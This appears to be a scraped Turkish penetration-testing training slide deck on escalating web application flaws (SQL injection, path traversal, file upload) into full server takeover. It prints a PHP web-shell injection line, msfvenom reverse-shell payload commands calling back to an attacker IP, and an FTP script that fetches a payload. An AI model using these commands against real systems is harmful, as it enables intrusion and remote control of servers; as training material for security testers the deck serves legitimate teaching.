Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı
Unix Denetim Dokümanı
 
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi EğitimiBTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
 
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme SunumuBTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
 
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi SunumuBTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim SunumuBTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
 
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi SunumuBilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi EğitimiBTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
 
BTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 YazılımıBTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 Yazılımı
 
Jmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirmeJmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirme
 
ISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişikliklerISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişiklikler
 
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesiAndroid Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
 

Web uygulama açıklıklarından faydalanarak sistem ele geçirme

  • 1. WEB UYGULAMA AÇIKLIKLARINDAN SİSTEM ELE GEÇİRMEYE GİDEN YOL
  • 2. İşletim Sistemini Ele Geçirme Web uygulama açıklıkları sadece veri sızması veya suistimale imkan tanımaz. Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha etkili saldırı yapabilecek bir konuma erişmiş olur. Bu nedenle web uygulamalarının kritikliklerini değerlendirirken mutlaka web uygulamasının ve bu uygulamanın kullandığı veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de dikkate alınmalıdır.
  • 3. İşletim Sistemini Ele Geçirme İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web uygulama açıklıkları şunlardır* (rastlanma sıklığına göre sıralanmıştır): • SQL Injection • Dizin Aşım Açıklıkları • File Upload Riskleri • RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü) • (İşletim Sistemi) Command Injection • Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü) *Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
  • 4. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  • 5. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  • 6. İşletim Sistemini Ele Geçirme SQL Injection ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu öğrendik, buna göre; • MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı fonksiyonalitesini kullanacak komutumuzu yazacağız) • MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web uygulaması yazacağız • Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek • İşletim sistemi komutları ile payload dosyamızı hedef sunucuya yükleyeceğiz • İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
  • 7. SQL Injection Örneği [Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi) İşletim Sistemini Ele Geçirme
  • 9. İşletim Sistemini Ele Geçirme Repeater modülü ile SQL Injection açıklığına sahip olan parametreyi ve MySQL'in SELECT ... INTO OUTFILE ... özelliğini kullanarak basit bir PHP uygulamasını web dizinleri içine yazacağız. Tabi bunun için web sunucusunun bu dizinlere yazma hakkı bulunması önşart. ; SELECT "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE "C:wampwwwcmd.php"
  • 11. İşletim Sistemini Ele Geçirme Uygulama sunucusuna yüklemek üzere bir meterpreter staged payload üretiyoruz. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.163.141 lport=4444 -f exe -o payload.exe
  • 12. İşletim Sistemini Ele Geçirme Bu payload'u ftp sunucusu olarak kullanacağımız Windows sunucusuna kopyalıyoruz.
  • 13. İşletim Sistemini Ele Geçirme Şimdi ftp ile payload.exe'yi web sunucusuna çekebilmek için yine cmd.php uygulamasını kullanarak bir ftp script'i oluşturacağız. open 192.168.1.90 user anonymous pwd bin get payload.exe bye Bu aşamada interaktif bir shell bağlantımız olmadığı için ftp'nin bu özelliğini kullanacak ve script sayesinde tek komutla payload'u hedef sunucuya yükleyeceğiz. Bu satırları oluşturmak için defalarca manuel olarak cmd.php uygulamasını çalıştırmak yerine Burp Suite'in intruder modülünden faydalanacağız.
  • 16. İşletim Sistemini Ele Geçirme Payload dosyamızı web sunucusuna aktarabilmek için ftp scriptinde belirtilen IP adresinde bir ftp servisi başlatalım
  • 17. İşletim Sistemini Ele Geçirme cmp.php uygulamamız sayesinde ftp istemcisini ftp.txt script'i ile çalıştıralım ve payload dosyamızın transferini gerçekleştirelim
  • 18. İşletim Sistemini Ele Geçirme Meterpreter handler'ımızı başlatalım ve birinci stage payload'umuzun bağlantı kurmasını bekleyelim
  • 19. İşletim Sistemini Ele Geçirme Payload.exe dosyasını yazdığımız web uygulaması sayesinde çalıştırdığımızda reverse TCP bağlantısı kuruldu ve Meterpreter payload'umuzun ikinci stage'i hedef sunucuya yüklendi.
  • 20. İşletim Sistemini Ele Geçirme SQL Injection açıklığı sayesinde web sunucusuna shell erişimi sağladık
  • 21. İşletim Sistemini Ele Geçirme Tüm işi SQLMAP'e yaptırmak isterseniz
  • 22. İşletim Sistemini Ele Geçirme SQL Injection ile Başka Hangi Yöntemlerle İşletim Sistemi Ele Geçirebilirim Diyenler İçin; SQLMAP'in yazarlarından, detaylı bir araştırma makalesi: • http://www.slideshare.net/inquis/advanced-sql-injection-to- operating-system-full-control-whitepaper-4633857
  • 23. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  • 24. Dizin Aşım Açıklığı Örneği İşletim Sistemini Ele Geçirme Dosya indirme fonksiyonalitesi Dizin aşımı saldırısı için potansiyel bir hedef
  • 25. Dizin Aşım Açıklığı Örneği İşletim Sistemini Ele Geçirme Giden parametre bir dosya adı gibi görünüyor
  • 26. İşletim Sistemini Ele Geçirme Dizin aşım açıklığının bulunup bulunmadığını ve web uygulama kök dizininin dışına çıkıp çıkamayacağımızı görmek için Windows işletim sistemlerinde bulunan başka bir dosyanın içeriğini göremeye çalışalım. ........Windowswin.ini
  • 27. İşletim Sistemini Ele Geçirme Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit etmemiz gerekli • Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir • Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı cümlesini gözlemleyeceğiz • Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız • MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele geçireceğiz
  • 28. İşletim Sistemini Ele Geçirme Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Ön Şartlar Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz. Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'btrisk' WITH GRANT OPTION; FLUSH PRIVILEGES;
  • 29. İşletim Sistemini Ele Geçirme Nikto'nun tespitleri arasında erişim bilgileri bulunma ihtimali olan "config.php" dosyasının adını görebiliriz
  • 30. İşletim Sistemini Ele Geçirme MySQL veritabanı için "root" kullanıcı parolasının "btrisk" olduğunu bu dosyanın içinde görüyoruz
  • 31. İşletim Sistemini Ele Geçirme Sunucunun MySQL servisine uzaktan erişilebildiği görülüyor
  • 32. İşletim Sistemini Ele Geçirme Bu noktadan sonra yazılacak bir web uygulaması aracılığı ile OS komutları çalıştırılabilir ve bir payload yüklenerek sistem ele geçirilebilir.
  • 33. İşletim Sistemini Ele Geçirme Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Diğer Alternatif Hassas Dosyalar Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı, sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin tutulduğu "passwd" veya "shadow" dosyaları olabilirdi. Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi bir hedef olabilirdi. Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini barındırabilirler. Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
  • 34. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  • 35. File Upload Açıklığı Örneği İşletim Sistemini Ele Geçirme Uygulamanın resim yükleme fonksiyonunu kullanıyoruz.
  • 36. Uygulama resim dosyasının ismini aşağıdaki gibi oluşturuyor ve bunu istemci tarafında belirlemiş oluyor. İşletim Sistemini Ele Geçirme
  • 37. Bilgilerim sayfasında bulunan linkleri incelediğimizde fotoğraf dosyasının bu isimle çekildiğini görüyoruz. Buradan yüklenen dosyaların "/profile_photo" dizini altına yüklendiğini varsayabiliriz. İşletim Sistemini Ele Geçirme
  • 38. İşletim Sistemini Ele Geçirme File Upload Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya yükleyebiliriz. • Bu örnekte Metasploit'in PHP payload oluşturma imkanından faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası oluşturacak ve sunucuya bu dosyayı yükleyeceğiz. • Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme yükleyecek. • Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu prosesinin hakları ile sisteme erişeceğiz.
  • 39. İşletim Sistemini Ele Geçirme msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.163.141 LPORT=4444 -f raw > shell.php Metasploit aracılığıyla handler'ımıza bağlanarak 2. stage payload'u çekecek bir PHP kodunu üretiyoruz. Kullandığımız payload php/meterpreter_reverse_tcp
  • 40. İşletim Sistemini Ele Geçirme Üretilen payload'un PHP olarak yorumlanabilmesi için başına ve sonuna PHP tag eklemesini yapmamız gerekiyor.
  • 41. İşletim Sistemini Ele Geçirme Metasploit multi handler modülü ile bize bağlanacak stage 1 PHP payload'umuzdan gelecek bağlantı talebini bekliyoruz.
  • 42. İşletim Sistemini Ele Geçirme Bir dosya yükleme isteği başlatmak için Browse düğmesine tıklayalım
  • 43. İşletim Sistemini Ele Geçirme HTML inpug tag'i içinde dosya tipi imaj dosyaları olarak kısıtlanmış. Bu kontrolü HTML içinden de temizleyebiliriz, giden mesajı Burp ile kestiğimizde de dosya adı ve içeriğini düzenleyebiliriz.
  • 44. İşletim Sistemini Ele Geçirme Şimdilik bir resim dosyası seçelim ve dosya yükle düğmesine basalım, değişikliği kestiğimiz istek üzerinde gerçekleştirelim. Burp content miktarının değişikliği için hesaplamayı yaparak bizim için Content-Length başlığını düzenleyecek nasıl olsa.
  • 45. İşletim Sistemini Ele Geçirme Orijinal dosya adı parametresi ve dosya içeriği
  • 46. İşletim Sistemini Ele Geçirme Değiştirilmiş dosya adı parametresi ve dosya içeriği (shell.php)
  • 47. İşletim Sistemini Ele Geçirme Dosya yükleme işlemimiz başarı ile gerçekleşmiş gibi görünüyor.
  • 48. İşletim Sistemini Ele Geçirme Resim dosyalarının yazıldığı dizinin /profile_photo dizini olduğunu daha önce görmüştük. Bu isteklerden birini repeater modülüne atarak yüklediğimiz shell.php dosyasını çalıştıralım. Apache'nin eklediği Last-Modified HTTP başlığı nedeniyle bu istek her uygulamaya girişte yapılmıyor, bu nedenle bu isteği görebilmemiz için tarayıcı belleğini boşaltmamız gerekebilir.
  • 49. İşletim Sistemini Ele Geçirme shell.php sayfasına istekte bulunduğumuzda payload'umuz aktif hale gelmiş oluyor
  • 50. İşletim Sistemini Ele Geçirme Hedef sunucumuz handler'ımıza bağlandığında artık shell erişimimizi sağlayabiliriz. Bu çalışmanın yapıldığı sırada malesef bu payload'un pek kararlı olmadığınız gözlemledik, ancak metodun çalıştığını bu örnekle görebiliriz.
  • 51. İşletim Sistemini Ele Geçirme Ele geçirme yöntemlerine etki eden faktörler SQL injection açıklığı için • Hedef veritabanı nedir? • Veritabanı tek seferde birden fazla SQL komutuna izin verir mi? • Veritabanının OS komutu çalıştırma imkanı var mıdır? • Veritabanının bir dosyaya yazma imkanı var mıdır?
  • 52. İşletim Sistemini Ele Geçirme Ele geçirme yöntemlerine etki eden faktörler Payload seçimi, payload yükleme yöntemi seçimi için • Hedef işletim sistemi nedir? • Bu işletim sisteminde öntanımlı olarak bulunan veya sonradan yüklenmiş dosya transfer komut imkanları nelerdir? • İşletim sistemine yönelik olarak nasıl bir payload kullanmayı tercih edeceğiz?
  • 53. İşletim Sistemini Ele Geçirme Ele geçirme yöntemlerine etki eden faktörler Erişim bilgileri ele geçirildiğinde • İşletim sistemi üzerinde hangi servisler aktiftir? Uygulama dilinin tespiti • LFI/RFI açıklıklarının analizi için • File upload açıklığının kullanılması için • Kod injection açıklıklarının analizi için